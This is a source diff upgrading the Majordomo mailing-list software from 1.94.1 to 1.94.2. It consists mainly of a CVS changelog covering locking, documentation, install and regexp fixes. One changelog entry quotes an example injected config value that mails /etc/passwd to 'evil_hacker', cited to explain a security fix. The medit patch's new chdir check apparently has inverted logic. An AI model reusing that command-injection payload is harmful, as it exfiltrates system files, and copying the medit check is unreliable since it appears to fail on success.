diff -u ./Changelog ../majordomo-1.94.2/Changelog
--- ./Changelog Fri May 24 00:02:49 1996
+++ ../majordomo-1.94.2/Changelog       Sun Apr 27 17:29:50 1997
@@ -1,5 +1,669 @@
-       * Changelog: release of majordomo version 1.94
+Changes since 1.94.1:

+Doc/list-owner-info    1.9:1.10
+       revision 1.10
+       date: 1997/04/05 19:18:10;  author: cwilson;  state: Exp;  lines: +4 -4
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+       o  more documentation fixes.
+       ----------------------------
+Doc/majordomo-faq.html 1.2:1.3
+       revision 1.3
+       date: 1997/04/27 14:57:00;  author: cwilson;  state: Exp;  lines: +85 -48
+       latest revisions
+       ----------------------------
+Doc/majordomo-faq.txt  1.1:1.2
+       revision 1.2
+       date: 1997/04/27 14:57:05;  author: cwilson;  state: Exp;  lines: +929 -854
+       latest revisions
+       ----------------------------
+Doc/man/digest.1       1.3:1.4
+       revision 1.4
+       date: 1997/04/20 16:25:43;  author: cwilson;  state: Exp;  lines: +5 -2
+       From: Jerry Peek <[email protected]>
+       Message-Id: <[email protected]>
+
+       o The three-argument form of mkdigest hasn't been covered in digest.1
+         and majordomo.8
+       ----------------------------
+Doc/man/majordomo.8    1.4:1.5
+       revision 1.5
+       date: 1997/04/20 16:25:49;  author: cwilson;  state: Exp;  lines: +45 -3
+       From: Jerry Peek <[email protected]>
+       Message-Id: <[email protected]>
+
+       o The three-argument form of mkdigest hasn't been covered in digest.1
+         and majordomo.8
+       ----------------------------
+INSTALL        1.7:1.10
+       revision 1.10
+       date: 1997/04/20 16:10:30;  author: cwilson;  state: Exp;  lines: +12 -10
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+
+       o  More doc nits for 1.94.2
+       ----------------------------
+       revision 1.9
+       date: 1997/03/11 10:19:33;  author: cwilson;  state: Exp;  lines: +21 -21
+       o  Swap steps 8 and 9 -- alias setup before attempting to register.
+       ----------------------------
+       revision 1.8
+       date: 1997/03/11 10:11:59;  author: cwilson;  state: Exp;  lines: +1 -1
+       From: Jerry Peek <[email protected]>
+       Message-ID: <[email protected]>
+
+       o  Wrong filename in 1.94.1 INSTALL file
+       ----------------------------
+Makefile       1.56:1.61
+       revision 1.61
+       date: 1997/04/27 14:55:50;  author: cwilson;  state: Exp;  lines: +4 -7
+       From: Nicole LaRock Decker <[email protected]>
+       Message-ID: <[email protected]>
+
+       o  fixes bounce-remind and bounce pointing at each other.
+       ----------------------------
+       revision 1.60
+       date: 1997/03/12 16:50:46;  author: cwilson;  state: Exp;  lines: +5 -5
+       o version 1.94.2
+       ----------------------------
+       revision 1.59
+       date: 1997/03/11 10:15:16;  author: cwilson;  state: Exp;  lines: +9 -4
+       From: Jerry Peek <[email protected]>
+       Message-ID: <[email protected]>
+
+       o  install resend.1 and bounce.1
+
+       Message-ID: <[email protected]>
+
+       o  change install.sh flag from -o to -O:
+           I'm using SunOS 4.1.3, one of the systems (with filesystem quotas)
+           that only allows root to use chown.  As far as I can tell, the 1.94.1
+           Makefile is supposed to be runnable by the Majordomo user.  It fails
+           because install.sh tries to run chown as a non-root user:
+
+               % make install-scripts
+               Testing for perl (/usr/local/bin/perl)...
+               Configuring scripts...
+               ./install.sh -m 751 -o 123 -g 45 . /tmp/majordomo
+               Must be root to use chown
+               *** Error code 1
+               make: Fatal error: Command failed for target `install-scripts'
+
+           I haven't followed this problem real closely since I griped about it
+           for 1.94.  I'm sending a patch (below) that seems to work for 1.94.1.
+
+           The install.sh script has two flags for setting ownership, -o and -O.
+           If you use -o, it seems to always do chown.  But if you use -O, it will
+           only do chown if it's running as root.  So my fix just changes that flag.
+
+           I haven't tested this as root -- or on other systems (that let non-root
+           users do chown).  Someone should!
+       ----------------------------
+       revision 1.58
+       date: 1997/03/11 09:59:27;  author: cwilson;  state: Exp;  lines: +7 -3
+       From: Jerry Peek <[email protected]>
+       Message-ID: <[email protected]>
+
+       o  install bounce and resend man pages instead of a stub file.
+       ----------------------------
+       revision 1.57
+       date: 1997/03/10 16:08:09;  author: cwilson;  state: Exp;  lines: +4 -4
+       From:       [email protected] (Dave Wolfe)
+       Message-ID: [email protected]
+
+       o A little fix to help idiot-proof the installation since directories
+         almost always return true for "test -x":
+       ----------------------------
+NEWLIST        1.3:1.5
+       revision 1.5
+       date: 1997/04/02 10:32:06;  author: cwilson;  state: Exp;  lines: +6 -6
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+
+       o  1.94 -> 1.94.2
+       ----------------------------
+       revision 1.4
+       date: 1997/03/11 10:01:17;  author: cwilson;  state: Exp;  lines: +10 -11
+       From: Jerry Peek <[email protected]>
+       Message-ID: <[email protected]>
+
+       o  small nits and typos.
+       ----------------------------
+README 1.36:1.38
+       revision 1.38
+       date: 1997/04/20 16:10:39;  author: cwilson;  state: Exp;  lines: +4 -4
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+
+       o  More doc nits for 1.94.2
+       ----------------------------
+       revision 1.37
+       date: 1997/04/07 18:56:56;  author: cwilson;  state: Exp;  lines: +19 -18
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+
+       o  more doc fixes.
+       ----------------------------
+approve        1.13:1.15
+       revision 1.15
+       date: 1997/04/05 19:18:36;  author: cwilson;  state: Exp;  lines: +4 -3
+       o  Eliminate the "apparently-to" bit
+       ----------------------------
+       revision 1.14
+       date: 1997/04/02 10:34:09;  author: cwilson;  state: Exp;  lines: +10 -3
+       o  tries slightly to find the right sendmail.
+       ----------------------------
+config-test    1.15:1.17
+       revision 1.17
+       date: 1997/03/10 17:22:05;  author: cwilson;  state: Exp;  lines: +2 -2
+       make config-test execute itself with arguments if it has to.
+
+               "I don't want to die."
+                       "You must, and with a -foo -zot -bang"
+               "Oh, well, okay."
+       ----------------------------
+       revision 1.16
+       date: 1997/03/10 15:45:12;  author: cwilson;  state: Exp;  lines: +9 -8
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+
+       o Patches to fix nits in config-test  -w fixes primarily.
+       ----------------------------
+config_parse.pl        1.60:1.63
+       revision 1.63
+       date: 1997/04/20 16:06:58;  author: cwilson;  state: Exp;  lines: +15 -9
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+
+       o  tighten up the regexp check in grab_regexp_array so that
+          things like
+                1; `/bin/mail evil_hacker < /etc/passwd` ; 0
+          aren't allowed.
+       ----------------------------
+       revision 1.62
+       date: 1997/03/10 17:19:54;  author: cwilson;  state: Exp;  lines: +17 -8
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+
+       o  Locking patch:
+
+       |I've suspected for quite awhile that list.config file locking had some
+       |holes in it. I can confirm this now by simply mailing off sequences of
+       |writeconfig, newconfig, config commands in each of 20 messages (although
+       |it doesn't take that many) at one-second intervals. I get the full array
+       |of aborts, warnings, invalid passwords, and even a few successes in
+       |response. After making the changes that generated this patch, every
+       |command succeeds, although the config files returned are unpredictable
+       |since there's no locking between each command in a message (I think
+       |that may also be a hole or a feature, depending on your point of view,
+       |but at least it doesn't clobber the file as a result). But first, a
+       |little background for anyone who's interested and to facilitate your
+       |checking that I've covered all the cases and haven't introduced yet more
+       |problems.
+       |
+       |There are two locking mechanisms involved in list config files. One is
+       |specific to the config file itself, which I'll refer to as the "L.lock",
+       |and is implemented through lopen() by creating a lock file with an
+       |"L." prefix. The other is for the set of list config files, including
+       |various temporary files, which I'll refer to as the "lock.LOCK" and is
+       |implemented by higher level functions calling set_lock() with the list
+       |config file name suffixed by ".LOCK" for the lock file name.
+       |
+       |The core functions which manipulate list config locking include:
+       |
+       |writeconfig -- This is a low-level function that writes a list config
+       |file from the current in-memory settings. It assumes the lock.LOCK is
+       |set but doesn't use any L.locks for either its temporary file
+       |(*.config.out) or the config file.
+       |
+       |get_config -- This low-level function sets the lock.LOCK and
+       |conditionally calls writeconfig() to set configuration defaults if no
+       |list config file exists. It then L.locks and reads the list config file
+       |to set up the in-memory configuration, releases the L.lock and then the
+       |lock.LOCK.
+       |
+       |do_config -- This high-level function calls get_config() but uses no
+       |locks while copying the list config file to the mailer to fulfill the
+       |request.
+       |
+       |do_newconfig -- This high-level function calls get_config(), L.locks the
+       |new list config file while it writes it, but releases it before setting
+       |the lock.LOCK while renaming the old and new list config files.
+       |
+       |do_writeconfig -- This high-level function calls get_config() and then
+       |calls writeconfig() without any sort of locking.
+       |
+       |digest uses lock.LOCKing in a rather brute force manner (i.e. almost the
+       |entire time it's working), but it's not apparent that anything less will
+       |work.
+       |
+       |
+       |Several locking windows are apparent in the high-level functions.
+       |
+       |do_config releases all locks (via get_config()) before copying the
+       |(possibly changed) list config file to the mailer.
+       |
+       |do_newconfig replaces the list config file with a file that it may
+       |not have written (since it releases the L.lock on the new file before
+       |obtaining the lock.LOCK), which could cause newconfig commands to appear
+       |to execute out of order (but this is a problem inherent in MTA queueing
+       |anyway), and similarly verify a password that's no longer valid if the
+       |list config file is replaced between the return from get_config() and
+       |either subsequent lock.
+       |
+       |do_writeconfig could completely mangle the list config file since it
+       |fails to honor any extant locks.
+       |
+       |In addition, two levels of locking seems to be overkill. A persistent
+       |lock such as is the lock.LOCKing is necessary and easy to use, although
+       |perhaps a bit coarse. Using L.locking in addition is simply needless
+       |overhead.
+       |
+       |The fix is to set the lock.LOCK around all list config file manipulation
+       |for each of the do_*config commands. Since locks can't be nested, the
+       |fact that the lock.LOCK is already set (and must not be released) is
+       |communicated to get_config by adding an optional third argument to
+       |get_config. When this argument is true, get_config doesn't attempt to
+       |set or free the lock.LOCK for the config file. Appropriate changes are
+       |made in each of the do_*config functions to set and free the lock.LOCK
+       |and call get_config with the new third argument set. Additionally, calls
+       |to lopen/lclose under a lock.LOCK were simplified to open/close calls to
+       |reduce overhead. All other calls to get_config are left as is to allow
+       |get_config to set the lock.LOCK while it defaults/reads the list config
+       |file.
+       |
+       |The following patches implement this fix to the problems noted above.
+       |They apply to an unpatched 1.94.1:
+       ----------------------------
+       revision 1.61
+       date: 1997/03/10 16:14:41;  author: cwilson;  state: Exp;  lines: +43 -27
+       From:       [email protected] (Dave Wolfe)
+
+       o  tidy up the documentation a bit.
+       ----------------------------
+contrib/archive_mh.pl  1.3:1.4
+       revision 1.4
+       date: 1997/03/10 15:40:41;  author: cwilson;  state: Exp;  lines: +3 -3
+       typo:  require
+       ----------------------------
+contrib/makeindex.pl   1.4:1.5
+       revision 1.5
+       date: 1997/03/11 10:04:47;  author: cwilson;  state: Exp;  lines: +1 -1
+       From: Bill <[email protected]>
+       Message-Id: <[email protected]>
+
+       o  catches cc:mail reply prefixes "Re[3]"
+       ----------------------------
+digest 1.20:1.22
+       revision 1.22
+       date: 1997/03/10 17:11:25;  author: cwilson;  state: Exp;  lines: +5 -5
+       o  use -c configfile to specify a different config file.
+       ----------------------------
+       revision 1.21
+       date: 1997/03/10 15:49:26;  author: cwilson;  state: Exp;  lines: +21 -14
+       From: Oliver Xymoron <[email protected]>
+       Message-ID: <[email protected]>
+
+       o This changes digest to use a reasonable default for resend_host if it
+         is unset.
+
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+
+       o Since I don't run any digests, I didn't give digest the same close
+         scrutiny, and decided it was adequate (I'd already fixed one locking
+         problem there). Recent analysis in light of problems experienced by
+         digest users (posting to Mj-users) has convinced me that there are still
+         a couple of problems with digest's locking.
+
+         The first is, that no matter which kind of configuration is used,
+         the lock is not established until after the volume/issue counts are
+         read from the respective config files, which could cause incorrect
+         incrementing of counts. Secondly, in the case of the -C option, the
+         list-digest.config file is updated without being locked at all, which
+         could cause loss of counts or configuration parameters.
+
+         This patch should take care of the problems so long as -C and non-C
+         invocations of digest are *not* used for the same list. Although the
+         changes are pretty straight forward, I didn't want this patch to miss
+         1.94.2 so I publishing it without complete testing. I will try to run
+         some tests in the next week however. This is against unpatched 1.94.1.
+       ----------------------------
+majordomo      1.76:1.87
+       revision 1.87
+       date: 1997/04/20 16:11:49;  author: cwilson;  state: Exp;  lines: +4 -3
+       From: "Kendall P. Bullen" <[email protected]>
+       Message-ID: <[email protected]>
+
+       o  skip directories in do_lists.
+       ----------------------------
+       revision 1.86
+       date: 1997/04/20 16:07:30;  author: cwilson;  state: Exp;  lines: +4 -4
+       From: "Russell Steinthal" <[email protected]>
+       Message-Id: <[email protected]>
+
+       o  help message fix.
+       ----------------------------
+       revision 1.85
+       date: 1997/04/02 11:31:15;  author: cwilson;  state: Exp;  lines: +13 -13
+       From: Brock Rozen <[email protected]>
+       Message-Id: <[email protected]>
+
+       o Patch for text errors in 1.94.2 in majordomo
+       ----------------------------
+       revision 1.84
+       date: 1997/04/02 10:33:38;  author: cwilson;  state: Exp;  lines: +5 -5
+       o  adds subscriber to notification messages sent to owner.
+       ----------------------------
+       revision 1.83
+       date: 1997/04/02 09:29:55;  author: cwilson;  state: Exp;  lines: +9 -5
+       o  Fixed comment on rcs|cvs|core line
+       o  fixed "this is version $majordomo_version"
+       ----------------------------
+       revision 1.82
+       date: 1997/03/12 16:51:00;  author: cwilson;  state: Exp;  lines: +17 -17
+       o  those pesky @ signs.
+       ----------------------------
+       revision 1.81
+       date: 1997/03/11 10:44:58;  author: cwilson;  state: Exp;  lines: +193 -4
+       From: "Roger B.A. Klorese" <[email protected]>
+       Message-Id: <[email protected]>
+
+       o  MajorDumbo help file (insert smiley here)
+          additional dumbo-user text from do_help.
+       ----------------------------
+       revision 1.80
+       date: 1997/03/10 17:20:00;  author: cwilson;  state: Exp;  lines: +36 -32
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+
+       o  Locking patch:
+
+       |I've suspected for quite awhile that list.config file locking had some
+       |holes in it. I can confirm this now by simply mailing off sequences of
+       |writeconfig, newconfig, config commands in each of 20 messages (although
+       |it doesn't take that many) at one-second intervals. I get the full array
+       |of aborts, warnings, invalid passwords, and even a few successes in
+       |response. After making the changes that generated this patch, every
+       |command succeeds, although the config files returned are unpredictable
+       |since there's no locking between each command in a message (I think
+       |that may also be a hole or a feature, depending on your point of view,
+       |but at least it doesn't clobber the file as a result). But first, a
+       |little background for anyone who's interested and to facilitate your
+       |checking that I've covered all the cases and haven't introduced yet more
+       |problems.
+       |
+       |There are two locking mechanisms involved in list config files. One is
+       |specific to the config file itself, which I'll refer to as the "L.lock",
+       |and is implemented through lopen() by creating a lock file with an
+       |"L." prefix. The other is for the set of list config files, including
+       |various temporary files, which I'll refer to as the "lock.LOCK" and is
+       |implemented by higher level functions calling set_lock() with the list
+       |config file name suffixed by ".LOCK" for the lock file name.
+       |
+       |The core functions which manipulate list config locking include:
+       |
+       |writeconfig -- This is a low-level function that writes a list config
+       |file from the current in-memory settings. It assumes the lock.LOCK is
+       |set but doesn't use any L.locks for either its temporary file
+       |(*.config.out) or the config file.
+       |
+       |get_config -- This low-level function sets the lock.LOCK and
+       |conditionally calls writeconfig() to set configuration defaults if no
+       |list config file exists. It then L.locks and reads the list config file
+       |to set up the in-memory configuration, releases the L.lock and then the
+       |lock.LOCK.
+       |
+       |do_config -- This high-level function calls get_config() but uses no
+       |locks while copying the list config file to the mailer to fulfill the
+       |request.
+       |
+       |do_newconfig -- This high-level function calls get_config(), L.locks the
+       |new list config file while it writes it, but releases it before setting
+       |the lock.LOCK while renaming the old and new list config files.
+       |
+       |do_writeconfig -- This high-level function calls get_config() and then
+       |calls writeconfig() without any sort of locking.
+       |
+       |digest uses lock.LOCKing in a rather brute force manner (i.e. almost the
+       |entire time it's working), but it's not apparent that anything less will
+       |work.
+       |
+       |
+       |Several locking windows are apparent in the high-level functions.
+       |
+       |do_config releases all locks (via get_config()) before copying the
+       |(possibly changed) list config file to the mailer.
+       |
+       |do_newconfig replaces the list config file with a file that it may
+       |not have written (since it releases the L.lock on the new file before
+       |obtaining the lock.LOCK), which could cause newconfig commands to appear
+       |to execute out of order (but this is a problem inherent in MTA queueing
+       |anyway), and similarly verify a password that's no longer valid if the
+       |list config file is replaced between the return from get_config() and
+       |either subsequent lock.
+       |
+       |do_writeconfig could completely mangle the list config file since it
+       |fails to honor any extant locks.
+       |
+       |In addition, two levels of locking seems to be overkill. A persistent
+       |lock such as is the lock.LOCKing is necessary and easy to use, although
+       |perhaps a bit coarse. Using L.locking in addition is simply needless
+       |overhead.
+       |
+       |The fix is to set the lock.LOCK around all list config file manipulation
+       |for each of the do_*config commands. Since locks can't be nested, the
+       |fact that the lock.LOCK is already set (and must not be released) is
+       |communicated to get_config by adding an optional third argument to
+       |get_config. When this argument is true, get_config doesn't attempt to
+       |set or free the lock.LOCK for the config file. Appropriate changes are
+       |made in each of the do_*config functions to set and free the lock.LOCK
+       |and call get_config with the new third argument set. Additionally, calls
+       |to lopen/lclose under a lock.LOCK were simplified to open/close calls to
+       |reduce overhead. All other calls to get_config are left as is to allow
+       |get_config to set the lock.LOCK while it defaults/reads the list config
+       |file.
+       |
+       |The following patches implement this fix to the problems noted above.
+       |They apply to an unpatched 1.94.1:
+       ----------------------------
+       revision 1.79
+       date: 1997/03/10 17:14:28;  author: cwilson;  state: Exp;  lines: +6 -3
+       o  make sure a lists command returns something for the user.
+       ----------------------------
+       revision 1.78
+       date: 1997/03/10 17:11:50;  author: cwilson;  state: Exp;  lines: +4 -4
+       o  a better check to ignore RCS|CVS|core files/dirs.
+       ----------------------------
+       revision 1.77
+       date: 1997/03/10 15:55:15;  author: cwilson;  state: Exp;  lines: +17 -11
+       From:       [email protected] (Dave Wolfe)
+       Message-ID: [email protected]
+
+       o  Fixes approve acceppeted commands lose arguments
+
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+        ( [email protected] (Oliver Xymoron) )
+
+       o  Security fix: "unsubscribe *" won't mention hidden lists
+
+       From: [email protected] (Rodent of Unusual Size)
+       Message-Id: <[email protected]>
+
+       o     Concerning WriteConfig's creating an output file based upon the
+           input list name rather than the case-smashed one: found the problem.
+
+       From:       [email protected] (Brock Rozen)
+       Message-ID: [email protected]
+
+       o   Slightly different text for subscribe message
+       ----------------------------
+majordomo.aliases      1.1:1.2
+       revision 1.2
+       date: 1997/04/02 10:32:32;  author: cwilson;  state: Exp;  lines: +3 -3
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+
+       o  1.94 -> 1.94.2
+       ----------------------------
+majordomo.pl   1.52:1.55
+       revision 1.55
+       date: 1997/04/02 14:04:14;  author: cwilson;  state: Exp;  lines: +4 -4
+       o added $EX_NOUSER
+       ----------------------------
+       revision 1.54
+       date: 1997/04/02 09:12:35;  author: cwilson;  state: Exp;  lines: +4 -4
+       hack fix to ParseAddrs to allow "john doe"@x.y addresses
+       ----------------------------
+       revision 1.53
+       date: 1997/03/10 16:07:14;  author: cwilson;  state: Exp;  lines: +27 -22
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+        ^^^^^^^ MAJORDOMO-USERS ARCHIVE!  ^^^^^^^^^^^^^
+
+       o fixes regexp at line 519
+       o tidy up is_list_member to handle absolute paths in restrict_post variable.
+
+       From:       [email protected] (Dave Wolfe)
+       Message-ID: [email protected]
+
+       o log file doesn't exist regexp bug
+       ----------------------------
+majordomo_version.pl   1.18:1.24
+       revision 1.24
+       date: 1997/04/27 15:05:38;  author: cwilson;  state: Exp;  lines: +2 -2
+       1.94.2
+       ----------------------------
+       revision 1.23
+       date: 1997/04/20 16:48:22;  author: cwilson;  state: Exp;  lines: +2 -2
+       o  spin4, but really call it 1.94.2_spin4
+       ----------------------------
+       revision 1.22
+       date: 1997/04/20 16:43:01;  author: cwilson;  state: Exp;  lines: +2 -2
+       o  spin4, but call it 1.94.2.
+       ----------------------------
+       revision 1.21
+       date: 1997/04/07 18:59:16;  author: cwilson;  state: Exp;  lines: +2 -2
+       o  spin 3
+       ----------------------------
+       revision 1.20
+       date: 1997/04/02 14:05:15;  author: cwilson;  state: Exp;  lines: +2 -2
+       o  spin #2
+       ----------------------------
+       revision 1.19
+       date: 1997/03/12 16:51:16;  author: cwilson;  state: Exp;  lines: +2 -2
+       o  bump the version # to .2_spin1
+       ----------------------------
+medit  1.7:1.9
+       revision 1.9
+       date: 1997/04/27 14:56:14;  author: cwilson;  state: Exp;  lines: +4 -3
+       o  chdir correctly.
+       ----------------------------
+       revision 1.8
+       date: 1997/04/20 16:25:08;  author: cwilson;  state: Exp;  lines: +3 -3
+       From: Jerry Peek <[email protected]>
+       Message-Id: <[email protected]>
+
+       o I also found what looks like another bug: if $listdir isn't defined,
+         then the chdir to $listdir *succeeds* and the call to die() isn't
+         executed.
+       ----------------------------
+resend 1.80:1.85
+       revision 1.85
+       date: 1997/04/02 14:04:48;  author: cwilson;  state: Exp;  lines: +8 -4
+       o  don't abort if mailer is sendmail and sendmail exits with EX_NOUSER
+       ----------------------------
+       revision 1.84
+       date: 1997/04/02 10:39:50;  author: cwilson;  state: Exp;  lines: +8 -3
+       o  Defaults for MAX_HEADER_LINE_LENGTH and MAX_TOTAL_HEADER_LENGTH
+          if they aren't defined.
+       ----------------------------
+       revision 1.83
+       date: 1997/04/02 09:27:17;  author: cwilson;  state: Exp;  lines: +4 -4
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+
+       [ David Brownlee ]
+
+       only check subject for admin headers if administrivia is set in list
+       config file.
+       ----------------------------
+       revision 1.82
+       date: 1997/03/11 16:18:33;  author: cwilson;  state: Exp;  lines: +2 -12
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+
+       o This patch removes the misfeature in resend that looks for an absolute
+         path in the approve_passwd or -a string to use as a file containing the
+         actual password. Such a pathname is a security risk, can't be managed
+         remotely, and, if set to the list.passwd file, is a security trap for
+         the naive.
+       ----------------------------
+       revision 1.81
+       date: 1997/03/10 16:22:47;  author: cwilson;  state: Exp;  lines: +15 -40
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+
+       o  If the list is moderated, don't immediately complain about an
+          invalid approved header.
+
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+
+       o  make sure there's a newline after message_headers and
+          message_footers.
+
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+
+       o  fix up restrict_post code.
+       ----------------------------
+sample.cf      1.28:1.33
+       revision 1.33
+       date: 1997/04/27 14:56:45;  author: cwilson;  state: Exp;  lines: +10 -1
+       From: Earle Ake <[email protected]>
+       Message-Id: <[email protected]>
+
+       o  commentary for x400 stuff.
+       ----------------------------
+       revision 1.32
+       date: 1997/04/07 18:57:43;  author: cwilson;  state: Exp;  lines: +2 -1
+       From: Thomas Ritter <[email protected]>
+       Message-ID: <[email protected]>
+
+       o  added /^subject:\s*Autoreply/i to global_taboo_headers.
+       ----------------------------
+       revision 1.31
+       date: 1997/04/02 10:33:13;  author: cwilson;  state: Exp;  lines: +4 -2
+       o  Added 'cancel' to admin_headers and admin_body
+       o  added listproc to majordomo_dont_reply.
+       ----------------------------
+       revision 1.30
+       date: 1997/03/11 10:19:46;  author: cwilson;  state: Exp;  lines: +3 -3
+       o  remove globs from uptime check.
+       ----------------------------
+       revision 1.29
+       date: 1997/03/10 16:23:03;  author: cwilson;  state: Exp;  lines: +2 -2
+       fix variable typo.
+       ----------------------------
+shlock.pl      1.11:1.13
+       revision 1.13
+       date: 1997/03/10 17:01:15;  author: cwilson;  state: Exp;  lines: +4 -4
+       From: Dave Wolfe <[email protected]>
+
+       o  more tidying.
+       ----------------------------
+       revision 1.12
+       date: 1997/03/10 16:25:23;  author: cwilson;  state: Exp;  lines: +13 -10
+       From: Dave Wolfe <[email protected]>
+       Message-Id: <[email protected]>
+
+       o more shlock tweaking.
+       ----------------------------
+
+* Changelog: release of majordomo version 1.94
+
       Big New Features in 1.94, or 3 tasty reasons to upgrade:

       ++ From: Brent Chapman <[email protected]>
@@ -1578,5 +2242,5 @@
then only members of the list can access the list with "who" and "which"
commands.

-$Header: /sources/cvsrepos/majordomo/Changelog,v 1.20 1996/05/23 22:02:49 cwilson Exp $
+$Header: /sources/cvsrepos/majordomo/Changelog,v 1.21 1997/04/27 15:29:50 cwilson Exp $

Common subdirectories: ./Doc and ../majordomo-1.94.2/Doc
diff -u ./Makefile ../majordomo-1.94.2/Makefile
--- ./Makefile  Wed Mar 12 17:50:46 1997
+++ ../majordomo-1.94.2/Makefile        Sun Apr 27 16:55:50 1997
@@ -1,9 +1,9 @@
-#$Modified: Wed Mar 12 17:30:11 1997 by cwilson $
+#$Modified: Sun Apr 27 16:52:37 1997 by cwilson $
#
# $Source: /sources/cvsrepos/majordomo/Makefile,v $
-# $Revision: 1.60 $
-# $Date: 1997/03/12 16:50:46 $
-# $Header: /sources/cvsrepos/majordomo/Makefile,v 1.60 1997/03/12 16:50:46 cwilson Exp $
+# $Revision: 1.61 $
+# $Date: 1997/04/27 14:55:50 $
+# $Header: /sources/cvsrepos/majordomo/Makefile,v 1.61 1997/04/27 14:55:50 cwilson Exp $
#

#  This is the Makefile for Majordomo.
@@ -212,9 +212,6 @@
               Doc/man/bounce-remind.1 $(MAN)/man1/bounce-remind.1
       @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \
               Doc/man/resend.1 $(MAN)/man1/resend.1
-       @echo ".so man1/bounce-remind.1" > $(TMPDIR)/BoUnCe.$(VERSION)
-       @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \
-               $(TMPDIR)/BoUnCe.$(VERSION) $(MAN)/man1/bounce.1
       @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \
               Doc/man/majordomo.8 $(MAN)/man8/majordomo.8
       @$(INSTALL) -m $(FILE_MODE) $(INSTALL_FLAGS) \
diff -u ./NEWS ../majordomo-1.94.2/NEWS
--- ./NEWS      Tue Dec 24 12:11:18 1996
+++ ../majordomo-1.94.2/NEWS    Sun Apr 27 17:29:56 1997
@@ -1,3 +1,12 @@
+Changes from 1.94.1 to 1.94.2:
+
+o More documentation fixes.
+o increased checking in regexps
+o better locking
+o ignore directories in the list directory.
+o resend doesn't abort if the sendmail error is EX_NOUSER
+
+
Changes from 1.94 to 1.94.1

Improved Installation:
Common subdirectories: ./contrib and ../majordomo-1.94.2/contrib
Common subdirectories: ./include and ../majordomo-1.94.2/include
diff -u ./majordomo_version.pl ../majordomo-1.94.2/majordomo_version.pl
--- ./majordomo_version.pl      Sun Apr 20 18:48:22 1997
+++ ../majordomo-1.94.2/majordomo_version.pl    Sun Apr 27 17:05:38 1997
@@ -1,5 +1,5 @@
-# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.23 1997/04/20 16:48:22 cwilson Exp $
+# $Header: /sources/cvsrepos/majordomo/majordomo_version.pl,v 1.24 1997/04/27 15:05:38 cwilson Exp $

-$majordomo_version = "1.94.2_spin4";
+$majordomo_version = "1.94.2";
1;

Common subdirectories: ./md-sub and ../majordomo-1.94.2/md-sub
diff -u ./medit ../majordomo-1.94.2/medit
--- ./medit     Sun Apr 20 18:25:08 1997
+++ ../majordomo-1.94.2/medit   Sun Apr 27 16:56:14 1997
@@ -6,8 +6,8 @@
# permission only.
#
# $Source: /sources/cvsrepos/majordomo/medit,v $
-# $Revision: 1.8 $
-# $Date: 1997/04/20 16:25:08 $
+# $Revision: 1.9 $
+# $Date: 1997/04/27 14:56:14 $
# $Author: cwilson $
# $State: Exp $
#
@@ -35,7 +35,8 @@

# Here's where the fun begins...

-defined($listdir) && chdir "$listdir" || die("can't access \$listdir $listdir");
+! (defined($listdir) && chdir "$listdir")
+    || die("can't access \$listdir $listdir");


$editor = $ENV{"EDITOR"} || "vi";
diff -u ./sample.cf ../majordomo-1.94.2/sample.cf
--- ./sample.cf Mon Apr  7 20:57:43 1997
+++ ../majordomo-1.94.2/sample.cf       Sun Apr 27 16:56:45 1997
@@ -107,7 +107,16 @@
#  @ sign (meaning that it's headed to an smtp->x400 gateway, as well
#  as the 'c=' and 'a[dm]=' parts, which mean something as well.
#
+#  If you will be receiving x400 style return addresses that do not have
+#  an @ sign in them indicating an smtp->x400 gateway, set $no_x400at to 1.
+#  Otherwise, leave $no_x400 at 0.
+#
$no_x400at = 0;
+#
+#  If you will be receiving x400 addresses without the c= or a[dm]= parts
+#  set the $no_true_x400 variable to 1.  This will disable checking for
+#   "c=" and "a[dm]=" pieces.
+#
$no_true_x400 = 0;


@@ -304,4 +313,4 @@
$majordomo_dont_reply = '(mailer-daemon|uucp|listserv|majordomo|listproc)\@';

1;
-# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.32 1997/04/07 18:57:43 cwilson Exp $
+# $Header: /sources/cvsrepos/majordomo/sample.cf,v 1.33 1997/04/27 14:56:45 cwilson Exp $